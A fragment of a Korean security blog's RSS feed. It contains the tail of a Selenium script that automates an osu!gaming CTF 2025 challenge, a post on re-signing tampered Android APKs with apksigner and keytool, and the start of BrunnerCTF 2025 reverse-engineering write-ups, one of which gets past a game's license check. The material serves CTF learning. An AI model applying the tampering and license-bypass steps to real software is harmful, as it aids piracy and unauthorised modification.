    &lt;span class=&quot;n&quot;&gt;chrome_opts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add_argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;--window-size=1400,1000&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;chrome_opts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add_argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;--lang=ko-KR,ko&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webdriver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Chrome&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Service&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ChromeDriverManager&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;install&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chrome_opts&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;wait&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WebDriverWait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;start_btn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;EC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;element_to_be_clickable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;By&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CSS_SELECTOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;button#start&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;start_btn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 첫 문제 로딩 + 안정화
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;wait_for_img_loaded_and_settled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;settle_ms&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SETTLE_MS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOTAL_ROUNDS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_shape&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solve_round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;=&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[Round &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] saved=images/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.png, template=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tpl_shape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tpl_shape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, settle_ms=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SETTLE_MS&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;- 포함 유사도(max overlap, ref piece vs region): &quot;&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;, &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;- 최종 8비트         : &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; (bit0=0)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;- 제출한 문자        : &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 서버/DOM 다음 상태 준비 미세 텀
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;=&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[Round &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] 오류: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;quit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;완료.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;왜 이리 코드가 길어졌는지는 모르겠습니다.&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 27 Oct 2025 15:18:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/osu-gaming-ctf-2025/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/osu-gaming-ctf-2025/</guid>
      </item>
    
      <item>
        <title>Android 앱 리컴파일 이후 서명</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;안드로이드 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apk&lt;/code&gt; 변조 및 실행하려 여러 방법을 시도한 김에 작성하였습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apk&lt;/code&gt;에 문제 있는지 확인은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apksigner verify --print-certs -verbose --in your.apk&lt;/code&gt;를 통해 가능&lt;/p&gt;

&lt;p&gt;키 파일 생성은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keytool -genkey -v -keystore your.keystore(혹은 jks) -alias 별명 -keyalg RSA -keysize 2048&lt;/code&gt;을 통해 가능&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apk&lt;/code&gt; 서명은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apksigner sign --ks ... your.apk&lt;/code&gt;를 통해 가능&lt;/p&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;안드로이드 앱 변조 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;을 이용해 패키징을 하였으나 설치가 되지 않음&lt;/p&gt;

&lt;p&gt;메세지가 뜨지 않아 여러가지 찾아봤는데, 서명 관련된 문제였습니다.&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;다음처럼 하면 됩니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-27-0.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;리소스 갯수로 인해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;에서 빌드가 안되면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt; 버전문제입니다. 최신 버전 이용하시면 웬만하면 잘 됩니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jarsigner&lt;/code&gt;로 서명할경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xapk&lt;/code&gt;에서 동작하지 않고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apksigner verify&lt;/code&gt;에서 워닝뱉습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xapk&lt;/code&gt;가 서명 문제로 설치되지 않은 경우, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xapk&lt;/code&gt;를 압축 해제 후, 내부 모든 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apk&lt;/code&gt;를 서명하면 됩니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;로 디컴파일이 안되는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apk&lt;/code&gt;는 그대로 재서명 하면 됩니다. 이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zip&lt;/code&gt;으로 압축 후 확장자 변경하시면 됩니다.&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cgy12306.tistory.com/394&quot;&gt;cgy12306 Tistory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.android.com/tools/apksigner?hl=ko&quot;&gt;apk signer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 27 Oct 2025 14:42:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/android-recompile-signing/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/android-recompile-signing/</guid>
      </item>
    
      <item>
        <title>BrunnerCTF 2025 문제풀이</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RubiyaLab CTF&lt;/code&gt;팀으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrunnerCTF 2025&lt;/code&gt;에 참여하게 되었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;기간 : 2025-08-22 21:00 ~ 2025-08-24 21:00 (KST)&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;문제-목록&quot;&gt;문제 목록&lt;/h2&gt;

&lt;p&gt;푼 순서대로&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Bake and Forth&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reverse Engineering 점수 - 618점, 푼 팀 - 32/1158팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Un-Pirateable Baking Game&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reverse Engineering 점수 - 365점, 푼 팀 - 50/1158팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Un-Pirateable Baking Game 2&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reverse Engineering 점수 - 966점, 푼 팀 - 5/1158팀 First Blood&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Bake to the Future&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reverse Engineering 점수 - 938점, 푼 팀 - 8/1158팀 First Blood&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The Cinnamon Packet&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Forensics 점수 - 847점, 푼 팀 - 16/1158팀&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;unsolved&quot;&gt;Unsolved&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The Real Windows Experience&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Forensics 점수 - 1000점, 푼 팀 - 1/1158팀&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;bake-and-forth&quot;&gt;Bake and Forth&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-0.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;위와 같은 프로그램이 주어졌으며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40000b&lt;/code&gt;에서는 항상 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x400000&lt;/code&gt;의 인스트럭션을 수정하는 코드로 점프하는 프로그램이었습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x400000&lt;/code&gt;에 브레이크포인트를 걸면 해당 바이트가 인터럽트로 바뀌어, 코드 패치가 오류가 났었습니다.&lt;/p&gt;

&lt;p&gt;심심해서 한 줄씩 넘겨가면서 풀었습니다.&lt;/p&gt;

&lt;p&gt;한 글자씩 비교하는 프로그램이었습니다.&lt;/p&gt;

&lt;p&gt;한 글자씩 비교하다가, 글자 수가 너무 길어서 xor에 영향이 없는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40000b&lt;/code&gt;에 브레이크포인트를 걸고 진행했습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40000b&lt;/code&gt;에 항상 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp 주소&lt;/code&gt;인스트럭션이 왔기 떄문에, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40000b&lt;/code&gt;바이트는 항상 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e9&lt;/code&gt;로 고정이었습니다.&lt;/p&gt;

&lt;h3 id=&quot;풀이&quot;&gt;풀이&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-1.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;angr&lt;/code&gt;을 이용해 자동 분석을 할 수 있다고 합니다.&lt;/p&gt;

&lt;p&gt;출제자분은 디스어셈블 + 파이썬을 통해 직접 연산 스크립트를 작성하는것을 계획했다고 합니다.&lt;/p&gt;

&lt;h2 id=&quot;un-pirateable-baking-game&quot;&gt;Un-Pirateable Baking Game&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-1&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-2.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameMaker&lt;/code&gt;로 만든 게임이 주어졌습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-5.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;게임 실행 시 라이선스 코드를 입력하는 창이 뜹니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-1&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;여러 언패킹 툴을 찾아보았습니다.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/UnderminersTeam/UndertaleModTool&quot;&gt;UndertaleModTool&lt;/a&gt;이 적용되는 언패킹 툴이었습니다.&lt;/p&gt;

&lt;p&gt;라이선스 관련 스크립트를 지운 후, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data.wim&lt;/code&gt;파일을 수정해 적용하려 하였으나, 적용 관련 내용을 찾진 못했습니다.&lt;/p&gt;

&lt;p&gt;스크립트를 좀 더 찾아보니 출력 스크립트가 있어 플래그를 알아냈습니다.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;draw_set_color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c_white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;draw_set_alpha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;draw_set_halign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fa_center&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;draw_set_valign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fa_middle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;draw_set_font&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;HeadlineFont&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
